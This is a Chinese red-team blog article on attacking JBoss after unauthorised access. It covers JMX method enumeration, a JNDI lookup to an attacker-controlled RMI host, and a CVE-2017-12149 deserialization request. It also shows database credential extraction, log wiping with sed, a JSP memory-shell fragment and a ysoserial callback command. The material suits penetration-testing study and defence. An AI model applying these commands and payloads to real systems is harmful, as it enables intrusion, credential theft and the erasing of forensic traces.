当前位置: 首页 > news >正文

从攻击者视角看JBoss未授权:除了上传War包,还能怎么玩?

红队视角下的JBoss攻击面拓展:超越War包部署的实战技法

当渗透测试人员发现JBoss存在未授权访问漏洞时,大多数人的第一反应往往是上传War包获取Shell。但真正的红队选手会思考:这个管理控制台还能怎么玩?本文将带你跳出常规思维,探索JBoss未授权访问后的高阶攻击手法。

1. JMX控制台的隐藏攻击面

JMX控制台远不止War包部署这一个攻击点。成熟的攻击者会先进行全面侦察,识别所有可能的攻击路径。

1.1 服务操作枚举技术

通过JMX控制台的MBean操作界面,可以枚举出大量危险操作:

# 使用curl快速枚举可调用的MBean方法 curl -s "http://target:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo" | grep -oP 'methodName="\K[^"]+'

关键危险方法示例

MBean路径危险方法潜在影响
jboss.system:type=ServerInfoshutdown导致服务宕机
jboss.deployment:type=DeploymentScanneraddURL部署恶意应用
jboss.jca:name=DefaultDS,service=ManagedConnectionPoolflushAllConnection数据库连接池攻击

1.2 JNDI注入点挖掘

JBoss的JNDI服务常存在注入漏洞,特别是在4.x及以下版本中:

// 利用JNDI引用进行远程类加载 InitialContext ctx = new InitialContext(); ctx.lookup("rmi://attacker.com/Exploit");

实战技巧

  • 检查jboss:service=NamingMBean中的绑定项
  • 利用listBindings()方法枚举所有JNDI条目
  • 重点关注RMI和LDAP协议绑定的服务

2. 反序列化漏洞组合利用

单独利用未授权访问可能受限,但结合反序列化漏洞往往能实现权限提升。

2.1 CVE-2017-12149深度利用

这个经典的JBoss反序列化漏洞在红队实战中有多种玩法:

POST /invoker/JMXInvokerServlet HTTP/1.1 Host: target:8080 Content-Type: application/x-java-serialized-object [序列化的恶意对象]

绕过技巧

  • 使用CommonsCollections不同链(3.1/4.0)
  • 结合内存马注入避免文件落地
  • 修改HTTP头字段规避WAF检测

2.2 EJB远程调用攻击

通过EJB接口可以实现更隐蔽的持久化控制:

# EjbInvoker利用脚本示例 import socket target = ("192.168.1.100", 3873) sock = socket.socket() sock.connect(target) sock.send(serialized_malicious_payload)

3. 横向移动技术

获取初步立足点后,红队需要思考如何扩大战果。

3.1 数据库凭证提取

JBoss配置文件中常含有数据库连接信息:

# 从配置文件提取敏感信息 find / -name "*-ds.xml" -exec grep -i "jdbc:" {} \;

典型信息泄露路径

  • server/default/conf/*-ds.xml
  • JMX控制台中的DataSource配置
  • 部署应用中的WEB-INF/web.xml

3.2 集群节点攻击

在JBoss集群环境中,控制一个节点可能意味着控制整个集群:

GET /web-console/ServerInfo.jsp HTTP/1.1 Host: target:8080

集群攻击步骤

  1. 通过节点状态页面识别其他成员
  2. 利用分布式缓存机制传播payload
  3. 通过集群通信端口(默认7600)直接攻击

4. 防御规避与持久化

成熟的攻击者会尽量减少被发现的可能性。

4.1 日志清理技术

JBoss的日志位置和清理方法:

# 定位日志文件 find / -path "*jboss*" -name "*.log" # 使用sed清理特定访问记录 sed -i '/192.168.1.50/d' server/default/log/access_log

4.2 内存马注入

相比文件上传,内存马更难被检测:

// JSP内存马示例 <%@ page import="java.lang.reflect.*,java.util.*"%> <% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true); Object req = f.get(request); Method m = req.getClass().getMethod("getResponse"); Object res = m.invoke(req); %>

持久化技巧

  • 修改Filter链动态注册恶意Filter
  • 利用JBoss的热部署特性保持内存马
  • 注入到公共静态变量中实现长期驻留

5. 工具与自动化利用

虽然手动利用很有价值,但实战中效率至关重要。

5.1 Jexboss的高级参数

除了基本检测,Jexboss还有许多隐藏功能:

# 使用自定义反序列化链 python jexboss.py -u http://target --ysoserial-command "JRMPClient attacker:1099" # 指定特定漏洞利用 python jexboss.py -u http://target --exploit jmx-console

5.2 自定义漏洞利用框架

构建自动化攻击流程的推荐模块:

# 伪代码示例 class JBossExploit: def __init__(self, target): self.session = requests.Session() self.target = target def check_vuln(self): # 自动化漏洞检测逻辑 pass def deploy_war(self): # War包部署自动化 pass def jndi_inject(self): # JNDI注入实现 pass

在真实渗透测试中,我曾遇到一个加固的JBoss实例,常规War包部署被拦截。通过分析发现其JMX控制台虽然做了IP限制,但EJB接口仍然开放。最终通过结合CVE-2017-12149和自定义的JRMP监听器成功获取了系统权限。

http://www.jsqmd.com/news/960979/

相关文章:

  • PrismLauncher-Cracked:终极离线Minecraft启动器完全指南
  • 运动耳机什么牌子佩戴更舒服?2026 十款热门机型实测盘点
  • 金融时间序列实战:交易日对齐、时区处理与波动率计算
  • 【2027最新】基于SpringBoot+Vue的毕业设计系统管理系统源码+MyBatis+MySQL
  • 别再只调平了!Simplify3D切片软件(4.0.1)里这几个高级设置,才是拯救打印失败的关键
  • 靠谱流量转化导师推荐:企业线上业绩增长首选实战型导师 - 品牌2026推荐
  • 基于Bootstrap 5的企业官网HTML模板包,含SASS配色系统与SVG图标支持
  • PyTorch为何成为TVA的“大脑皮层“(2)
  • 基于STC89C52的窗帘智能联动方案:温湿度+光照感知+红外遥控(含Proteus仿真与Keil工程)
  • 给老旧笔记本续命:用RTL8153-VC-CG芯片的USB网卡实现千兆有线连接(实测与选购指南)
  • CMake的“暗坑”与最佳实践:从变量作用域到生成器表达式,避开那些让你头疼的陷阱
  • Windows安卓驱动一键安装:彻底告别手动配置的烦恼
  • STM32F103驱动LCD12864实时显示波形曲线与自定义图形
  • 解决win10电脑音量图标丢失的问题
  • 泉州互希新材料:三明专业的水性PP乳液出售哪家好 - LYL仔仔
  • PUBG罗技鼠标宏终极指南:5分钟从新手到压枪高手
  • UVa227puzzle
  • TensorFlow 2.x版DDPG完整实现:含双Q网络、策略网络与优先经验回放
  • 呼和浩特2026靠谱贵金属回收排行榜|黄金铂金彩金白银回收门店地址电话一览 - 余生黄金回收
  • Python桌面OCR小工具:拖图识别、框选校正、结果一键复制
  • 别再只会用轮询了!用SpringBoot WebSocket给你的老旧管理系统加个实时消息中心(附完整前后端代码)
  • OpenHarmony 页面路由与跨页面数据传递全解实战
  • ArcMap老鸟的避坑实录:表格转矢量时‘Z值错误’和坐标对调怎么破?
  • Hive进阶:用struct和named_struct优雅处理嵌套JSON数据,5分钟搞定复杂字段解析
  • 2026谷歌GEO公司产品推荐,鲸占GEO怎么样?
  • 2026最新诚信优选厦门市个人与企业黄金铂金白银彩金回收正规靠谱门店TOP排行榜和门店联系方式推荐 - 余生黄金回收
  • 2026三亚靠谱黄金铂金彩金白银回收门店精选榜单|全城上门商家联系方式汇总 - 余生黄金回收
  • 3大核心功能:NS-USBLoader一站式解决Switch游戏管理与系统注入难题
  • Photoshop CC 2025新手入门教程
  • 避坑指南:STM32F103驱动TLC5615 DAC时,时序不对怎么办?实测调试心得分享